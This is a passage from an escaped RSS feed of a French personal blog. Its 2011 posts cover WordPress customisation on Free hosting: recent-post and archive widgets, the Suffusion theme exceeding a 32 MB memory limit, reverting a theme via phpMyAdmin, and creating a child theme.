&amp;#39;10&amp;#39;,&#xA;&#x9;&amp;#39;post_status&amp;#39; =&amp;gt; &amp;#39;publish&amp;#39;&#xA;&#x9;);&#xA;&#x9;$recent_posts = wp_get_recent_posts( $args );&#xA;&#x9;foreach( $recent_posts as $post ){&#xA;&#x9;echo &amp;#39;&amp;lt;li&amp;gt;&amp;lt;a href=&amp;#34;&amp;#39; . get_permalink($post[&amp;#34;ID&amp;#34;]) . &amp;#39;&amp;#34; title=&amp;#34;Look &amp;#39;.$post[&amp;#34;post_title&amp;#34;].&amp;#39;&amp;#34; &amp;gt;&amp;#39; .   $post[&amp;#34;post_title&amp;#34;].&amp;#39;&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &amp;#39;;&#xA;&#x9;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;catégories&#34;&gt;Catégories&#xA;&lt;/h3&gt;&lt;p&gt;Là non plus, pas de besoin de plugins, il suffit d&amp;rsquo;utiliser la fonction wordpress avec les paramètres souhaités, dans mon cas :&lt;/p&gt;&#xA;&lt;p&gt;wp_list_categories(&amp;lsquo;show_count=1&amp;amp;title_li=&amp;rsquo;);&lt;/p&gt;&#xA;&lt;p&gt;Et comme je voulais ne pas afficher tous les articles quand on sélectionne une catégorie, mais uniquement un extrait, j&amp;rsquo;ai modifié le fichier &lt;strong&gt;category.php&lt;/strong&gt; pour remplacer la fonction the_content() par the_excerpt(). C&amp;rsquo;est la même modification que j&amp;rsquo;avais faite pour afficher les résultats de la recherche (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3192&#34;  title=&#34;article &#34;&#xA;    &gt;article&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;h3 id=&#34;archives&#34;&gt;Archives&#xA;&lt;/h3&gt;&lt;p&gt;Pour les archives, j&amp;rsquo;ai finalement trouvé un autre plugin : &lt;a class=&#34;link&#34; href=&#34;http://philipwalton.com/2011/02/08/pw_archives/&#34;  title=&#34;le site de PW-Archives&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PW-Archives&lt;/a&gt;, dont l&amp;rsquo;auteur commence la description ainsi : « &lt;em&gt;The primary goal of PW_Archives is to be light-weight&lt;/em&gt; »&amp;hellip; parfait pour Free, me suis-je dit ! Il liste donc les archives, en les classant par année.&lt;/p&gt;&#xA;&lt;p&gt;Voilà ce que donne le code :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Archives&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;PW_Archives&lt;/span&gt;( $args &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;array&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;order&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;DESC&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;year_count&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ALL&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;year_format&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Y&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;year_template&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;%YEAR% (%POST_COUNT%)&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;month_expand&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ALL&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;month_format&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;F&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;month_template&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;%MONTH% (%POST_COUNT%)&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;show_posts&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;NO&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;faster_permalinks&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;YES&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;post_date_format&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;jS&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;post_template&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;%POST_DATE%: %POST_TITLE% (%COMMENT_COUNT%)&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;) ); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De la même manière, si l&amp;rsquo;on clique sur un mois ou une année donnée, seuls les extraits d&amp;rsquo;articles sont affichés, puisque l&amp;rsquo;on utilisera également le fichier &lt;strong&gt;archive.php&lt;/strong&gt;. À noter que pour pouvoir afficher en haut de la page la période choisie, j&amp;rsquo;ai du activer la ligne suivante dans archive.php :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; $post &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; $posts[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]; &lt;span style=&#34;color:#75715e&#34;&gt;// Hack. Set $post so that the_date() works. ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voilà&amp;hellip; sans oublier la petite icône (également récupérée du thème Suffusion au lieu de &amp;ldquo;accueil&amp;rdquo; dans le menu en haut de page.&lt;/p&gt;&#xA;&lt;p&gt;La suite au prochain numéro !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Suffusion, un joli thème trop gourmand pour Free</title>
            <link>https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/</link>
            <pubDate>Sat, 07 May 2011 18:24:43 +0000</pubDate>
            <guid>https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/</guid>
            <description>&lt;p&gt;Cela faisait quelque temps que je préparais un nouveau thème pour le blog : &lt;strong&gt;Suffusion&lt;/strong&gt; (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4059&#34;  title=&#34;premier article à propos de Suffusion&#34;&#xA;    &gt;article&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Préparer, c&amp;rsquo;est-à-dire personnaliser, et cela peut prendre du temps pour fignoler les petits détails, chercher où tel truc est activé ou paramétré, tomber sur des bugs éventuellement, trouver des solutions pour arriver à l&amp;rsquo;affichage souhaité.&lt;/p&gt;&#xA;&lt;p&gt;Bref, j&amp;rsquo;y ai passé des heures : comme le thème est assez sophistiqué, ce n&amp;rsquo;était pas toujours simple d&amp;rsquo;arriver à ce que je voulais. Tout cela sur mon PC en local, sans le tester avant sur Free. Ce fût ma seule erreur&amp;hellip; :-(&lt;/p&gt;&#xA;&lt;p&gt;Alors voilà, ce matin, c&amp;rsquo;était prêt, le résultat obtenu me plaisait, et j&amp;rsquo;ai voulu le mettre en ligne :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/05/suffusion.png&#34; &gt;&lt;img alt=&#34;le thème Suffusion personnalisé&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;138&#34; height=&#34;324&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/suffusion-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et ça c&amp;rsquo;est très mal passé. Dès l&amp;rsquo;activation du thème, un beau message d&amp;rsquo;erreur m&amp;rsquo;indiquait que je dépassais la limite de mémoire que Free octroie, c&amp;rsquo;est à dire 32 Mo.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 92160 bytes) in /mnt/121/sdb/9/2/pascal.ledisque/wordpress/wp-admin/includes/media.php on line 1210&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai tout de suite désactivé tous les plugins que j&amp;rsquo;utilise, réactivé le thème&amp;hellip; mais sans effet : le thème en lui-même (assez sophistiqué il est vrai) dépasse allègrement la limite imposée par Free. Adieu donc le joli thème Suffusion, et tout le temps passé au paramétrage se révèle totalement inutile. :-(&lt;/p&gt;&#xA;&lt;p&gt;A tout hasard, j&amp;rsquo;ai mis à jour la version de Wordpress, de 3.0.1 à 3.1.2 : parfois les premières versions ne sont pas vraiment optimisées, et peuvent consommer plus de ressources. Si la mise à jour s&amp;rsquo;est bien passée, elle n&amp;rsquo;a rien résolu. J&amp;rsquo;ai même l&amp;rsquo;impression que cette version est un peu plus gourmande, et j&amp;rsquo;ai un peu de mal à réactiver tous mes plugins&amp;hellip; Problème en cours de traitement.&lt;/p&gt;&#xA;&lt;p&gt;Comme de tout échec, on apprend tout de même quelque chose :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avant de commencer à travailler sur un thème en local, vérifier s&amp;rsquo;il fonctionne avec les paramètres par défaut sur le site de l&amp;rsquo;hébergeur&amp;hellip; surtout un hébergement gratuit comme Free qui a des limitations (qui sont compréhensibles). Cela vous évitera de perdre du temps !&lt;/li&gt;&#xA;&lt;li&gt;Il existe un plugin appelé &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/plugins/wp-memory-usage/&#34;  title=&#34;Plugin WP-Memory-Usage&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP-Memory-Usage&lt;/a&gt; qui vous indique la quantité de mémoire utilisée. Dans mon cas, une fois revenu au thème existant et avec tous les plugins activés, je peux voir que je suis déjà proche des limites :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;memory usage&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;716px&#34; data-flex-grow=&#34;298&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/memory.png&#34; width=&#34;433&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sur mon PC, avec le thème et tous les plugins activés, WP-Memory-Usage affiche :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;mémoire utilisée en local&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;715px&#34; data-flex-grow=&#34;297&#34; height=&#34;149&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/memory-local.png&#34; width=&#34;444&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ça se joue à peu de choses : 33,78 Mo&amp;hellip; Sur Free, même en désactivant tous les plugins, je descend à &lt;strong&gt;81%&lt;/strong&gt;&amp;hellip; Bref, il n&amp;rsquo;y a pas vraiment de solutions, si ce n&amp;rsquo;est de passer à un hébergement payant.&lt;/p&gt;&#xA;&lt;p&gt;Pour l&amp;rsquo;instant, je garde donc le thème existant, et voir si je peux trouver un thème moins gourmand qui réponde à mes besoins : deux &amp;ldquo;sidebars&amp;rdquo; (une de chaque côté) et la possibilité d&amp;rsquo;utiliser les menus que propose Wordpress depuis la version 3.&lt;/p&gt;&#xA;&lt;h3 id=&#34;revenir-au-thème-précédent&#34;&gt;Revenir au thème précédent&#xA;&lt;/h3&gt;&lt;p&gt;Le pire de tout ça, c&amp;rsquo;est qu&amp;rsquo;en activant le thème, vous ne pouvez plus accéder aux pages d&amp;rsquo;administrations de Wordpress, et donc&amp;hellip; vous ne pouvez plus revenir à l&amp;rsquo;ancien thème ! Quand tout va mal&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;La seule solution est de passer par la base de données : lancer &lt;a class=&#34;link&#34; href=&#34;http://sql.free.fr/phpMyAdmin/&#34;  title=&#34;phpMyAdmin chez Free&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;phpMyAdmin sur Free&lt;/a&gt;, se connecter, sélectionner la table &lt;strong&gt;wp_options&lt;/strong&gt;, et remettre le nom de votre thème pour les deux valeurs suivantes :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;wp_options&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1459px&#34; data-flex-grow=&#34;608&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/adieu-suffusion-bonjour-wordpress-3-2-1/wp_options.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-limitation-mémoire&#34;&gt;La limitation mémoire&#xA;&lt;/h3&gt;&lt;p&gt;Concernant le problème de mémoire, vous pouvez lire cet &lt;a class=&#34;link&#34; href=&#34;http://www.ehumeurs.com/fatal-error-memory-size-2.html&#34;  title=&#34;article sur le message Fatal Error Memory Size&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;article&lt;/a&gt;, ou encore &lt;a class=&#34;link&#34; href=&#34;http://fanta78.lasnespace.com/2010/wordpress-la-limite-des-32mo-de-memoire-sur-free-fr/&#34;  title=&#34;article sur la limite de 32Mo chez Free&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;celui-ci&lt;/a&gt;, plus spécifique au problème Free : non seulement la limite est à 32 Mo, mais le même blog wordpress avec les mêmes plugins consomment plus de mémoire chez Free que chez un autre hébergeur&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Suffusion, le prochain thème</title>
            <link>https://pled.fr/suffusion-le-prochain-theme-2/</link>
            <pubDate>Tue, 15 Mar 2011 19:04:28 +0000</pubDate>
            <guid>https://pled.fr/suffusion-le-prochain-theme-2/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/03/layout.png&#34; &gt;&lt;img alt=&#34;des possibilités étendues…&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;206px&#34; data-flex-grow=&#34;85&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/layout-200.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; Je cherchais un nouveau thème pour le blog, et je crois que j&amp;rsquo;ai trouvé un bon point de départ : le thème &lt;a class=&#34;link&#34; href=&#34;http://www.aquoid.com/news/themes/suffusion/&#34;  title=&#34;Site du thème Suffusion&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Suffusion&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Il est assez sobre par défaut, et offre un nombre d&amp;rsquo;options incroyable via le panneau d&amp;rsquo;administration : à tel point que l&amp;rsquo;auteur a choisi d&amp;rsquo;afficher &lt;strong&gt;DON&amp;rsquo;T PANIC !!&lt;/strong&gt; sur la page d&amp;rsquo;accueil des options du thème.&lt;/p&gt;&#xA;&lt;p&gt;Le nombre de paramètres modifiables est tel qu&amp;rsquo;il faut un peu de temps pour s&amp;rsquo;y retrouver&amp;hellip; Le nombre de «sidebars» et d&amp;rsquo;emplacement de «widgets», leurs positions, les couleurs du thème (avec une ensemble prédéfini de disponible), et bien entendu les menus (2 barres de menus possibles), paramétrables à loisir. Et je n&amp;rsquo;ai pas encore tout vu.&lt;/p&gt;&#xA;&lt;p&gt;Après quelques heures, j&amp;rsquo;ai pu configurer le menu comme je le souhaitais, c&amp;rsquo;est-à-dire reproduire grosso-modo le menu existant du blog en y ajoutant une entrée &lt;strong&gt;Page&lt;/strong&gt; qui liste en sous-menu les pages et éventuellement sous-pages visibles. Voilà ce que ça donne :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2011/03/suffusion.png&#34; &gt;&lt;img alt=&#34;première ébauche&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/suffusion-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voyons voir ce début d&amp;rsquo;un peu plus près : il va falloir créer un thème enfant, installer la traduction française, créer le menu de navigation et régler un problème de widget pour un vieux plugin.&lt;/p&gt;&#xA;&lt;h3 id=&#34;child-theme-et-traduction-française&#34;&gt;Child theme et traduction française&#xA;&lt;/h3&gt;&lt;p&gt;Les fichiers pour configurer le thème en français sont disponibles sur le &lt;a class=&#34;link&#34; href=&#34;http://www.aquoid.com/news/themes/suffusion/&#34;  title=&#34;Site du thème Suffusion&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;site du plugin&lt;/a&gt;. On récupère ainsi deux fichiers &lt;strong&gt;fr_FR.mo&lt;/strong&gt; et &lt;strong&gt;fr_FR.po&lt;/strong&gt;. Comment les utiliser ?&lt;/p&gt;&#xA;&lt;p&gt;La méthode recommandée est de créer un «child theme», un thème enfant : Dans le répertoire &lt;strong&gt;themes&lt;/strong&gt; de Wordpress, vous avez installé le thème &lt;strong&gt;suffusion&lt;/strong&gt; qui se trouve donc dans un répertoire du même nom. Au même niveau, créer un répertoire nommé «suffusion-child» par exemple. Copier le fichier &lt;strong&gt;style.css&lt;/strong&gt; du thème suffusion dans ce nouveau répertoire. Éditer ce fichier et modifier le header (l&amp;rsquo;en-tête) comme suit (c&amp;rsquo;est un exemple) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Theme Name:     Suffusion Child&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Theme URI:      http://www.aquoid.com/news/themes/suffusion/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Description:    Child theme for the Suffusion theme&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Author:         Pascal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Author URI:     http: //pled.fr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Template:       suffusion&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Version:        0.1.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voilà, un nouveau thème «Suffusion child» apparait dans le menu Apparence de Wordpress, il suffit de l&amp;rsquo;activer.&lt;/p&gt;&#xA;&lt;p&gt;Pour la traduction française, créer simplement un répertoire «translation» et y copier les deux fichiers récupérés. Attention, cela ne traduit que le thème en lui-même (lors de l&amp;rsquo;utilisation du blog) et pas le menu d&amp;rsquo;administration du thème qui reste lui en anglais.&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-menu&#34;&gt;Le menu&#xA;&lt;/h3&gt;&lt;p&gt;Pour la création du menu, une vidéo de démonstration &lt;a class=&#34;link&#34; href=&#34;http://www.cscottbeardsley.com/suffusion/navbarbasics.swf&#34;  title=&#34;démonstration vidéo pour les menus dans suffusion&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Navigation Bar basics&lt;/a&gt; est plutôt utile à regarder avant de commencer.&lt;/p&gt;&#xA;&lt;p&gt;Mon menu se décompose en fait en deux types d&amp;rsquo;entrée :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;de simples liens soit vers des pages, soit vers d&amp;rsquo;autres sites comme l&amp;rsquo;album zenphoto : ainsi pour Home, Ancien site, Album photo, Arbre Gén. et A propos.&lt;/li&gt;&#xA;&lt;li&gt;le fameux Menu déroulant Pages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Les simples liens&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai du créer un menu pour chacun d&amp;rsquo;entre eux, chaque menu contenant la page en question ou le lien. Tout ceci se fait dans l&amp;rsquo;interface d&amp;rsquo;administration de Wordpress, Apparence - Menus :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;menu avec une page&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;601px&#34; data-flex-grow=&#34;250&#34; height=&#34;196&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/menus1.png&#34; width=&#34;491&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Une fois le menu créé, y ajouter soit la page correspondante, soit un lien personnalisé.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;menu avec un lien personnalisé&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;561px&#34; data-flex-grow=&#34;233&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/menus11.png&#34; width=&#34;498&#34;&gt;&lt;strong&gt;Le menu déroulant&lt;/strong&gt;&lt;img alt=&#34;Attributs de la page&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/suffusion-le-prochain-theme-2/pageattributes.png&#34; width=&#34;194&#34;&gt; Pour ce dernier, ce sont de simples pages créées dans Wordpress. Pour hiérarchiser les pages, il faut utiliser  l&amp;rsquo;option Attributs de la page, et lui donner le parent souhaité.&lt;/p&gt;&#xA;&lt;p&gt;Dans mon exemple, j&amp;rsquo;ai donc une Page principale, parent de Page 1 et de Page 2, cette dernière étant parent de sous-page 1 et sous-page 2 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;arborescence des pages&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;265px&#34; data-flex-grow=&#34;110&#34; height=&#34;241&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 